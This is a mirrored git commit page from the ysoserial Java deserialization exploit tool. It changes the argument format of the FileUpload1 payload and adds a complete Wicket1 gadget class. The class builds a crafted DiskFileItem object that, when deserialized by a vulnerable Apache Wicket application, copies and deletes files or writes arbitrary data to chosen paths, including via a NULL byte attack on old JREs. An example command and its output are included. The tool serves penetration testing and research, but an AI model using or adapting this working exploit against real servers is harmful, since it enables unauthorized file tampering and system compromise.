mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-22 07:00:44 +08:00
Merge branch 'master' of https://github.com/frohoff/ysoserial
This commit is contained in:
@@ -22,11 +22,11 @@ import ysoserial.payloads.util.Reflections;
|
||||
* DiskFileItem.readObject()
|
||||
*
|
||||
* Arguments:
|
||||
* - copyAndDelete:sourceFile:destDir
|
||||
* - write:destDir:ascii-data
|
||||
* - writeB64:destDir:base64-data
|
||||
* - writeOld:destFile:ascii-data
|
||||
* - writeOldB64:destFile:base64-data
|
||||
* - copyAndDelete;sourceFile;destDir
|
||||
* - write;destDir;ascii-data
|
||||
* - writeB64;destDir;base64-data
|
||||
* - writeOld;destFile;ascii-data
|
||||
* - writeOldB64;destFile;base64-data
|
||||
*
|
||||
* Yields:
|
||||
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
|
||||
@@ -44,7 +44,7 @@ public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
|
||||
public DiskFileItem getObject ( String command ) throws Exception {
|
||||
|
||||
String[] parts = command.split(":");
|
||||
String[] parts = command.split(";");
|
||||
|
||||
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
|
||||
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.util.Arrays;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.wicket.util.upload.DiskFileItem;
|
||||
import org.apache.wicket.util.io.DeferredFileOutputStream;
|
||||
import org.apache.wicket.util.io.ThresholdingOutputStream;
|
||||
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
|
||||
/**
|
||||
* This gadget is almost identical to FileUpload1 since it appears
|
||||
* that Apache Wicket copied a version of Apache Commons DiskFileItem
|
||||
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
|
||||
* means that if the target is running less than Oracle Java 7 update 40
|
||||
* then the NULL byte attack is viable. Otherwise, copy and move attacks
|
||||
* always work.
|
||||
*
|
||||
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
|
||||
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
|
||||
*
|
||||
*
|
||||
* Arguments:
|
||||
* - copyAndDelete;sourceFile;destDir
|
||||
* - write;destDir;ascii-data
|
||||
* - writeB64;destDir;base64-data
|
||||
* - writeOld;destFile;ascii-data
|
||||
* - writeOldB64;destFile;base64-data
|
||||
*
|
||||
* Example:
|
||||
* Wicket1 "write;/tmp;blue lobster"
|
||||
*
|
||||
* Result:
|
||||
* $ ls -l /tmp/
|
||||
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
|
||||
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
|
||||
* blue lobster
|
||||
*/
|
||||
@Dependencies({"wicket-util:wicket-util:6.23"})
|
||||
public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
|
||||
public DiskFileItem getObject(String command) throws Exception {
|
||||
|
||||
String[] parts = command.split(";");
|
||||
|
||||
if (parts.length != 3) {
|
||||
throw new IllegalArgumentException("Bad command format.");
|
||||
}
|
||||
|
||||
if ("copyAndDelete".equals(parts[0])) {
|
||||
return copyAndDelete(parts[1], parts[2]);
|
||||
}
|
||||
else if ("write".equals(parts[0])) {
|
||||
return write(parts[1], parts[2].getBytes("US-ASCII"));
|
||||
}
|
||||
else if ("writeB64".equals(parts[0]) ) {
|
||||
return write(parts[1], Base64.decodeBase64(parts[2]));
|
||||
}
|
||||
else if ("writeOld".equals(parts[0]) ) {
|
||||
return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII"));
|
||||
}
|
||||
else if ("writeOldB64".equals(parts[0]) ) {
|
||||
return writeOldJRE(parts[1], Base64.decodeBase64(parts[2]));
|
||||
}
|
||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
|
||||
}
|
||||
|
||||
public void release(DiskFileItem obj) throws Exception {
|
||||
}
|
||||
|
||||
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
|
||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||
}
|
||||
|
||||
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
|
||||
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
|
||||
return makePayload(data.length + 1, dir, dir + "/whatever", data);
|
||||
}
|
||||
|
||||
// writes data to an arbitrary file
|
||||
private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception {
|
||||
return makePayload(data.length + 1, file + "\0", file, data);
|
||||
}
|
||||
|
||||
private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
|
||||
// if thresh < written length, delete outputFile after copying to repository temp file
|
||||
// otherwise write the contents to repository temp file
|
||||
File repository = new File(repoPath);
|
||||
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null);
|
||||
File outputFile = new File(filePath);
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||
os.write(data);
|
||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||
return diskFileItem;
|
||||
}
|
||||
|
||||
public static void main ( final String[] args ) throws Exception {
|
||||
PayloadRunner.run(FileUpload1.class, args);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user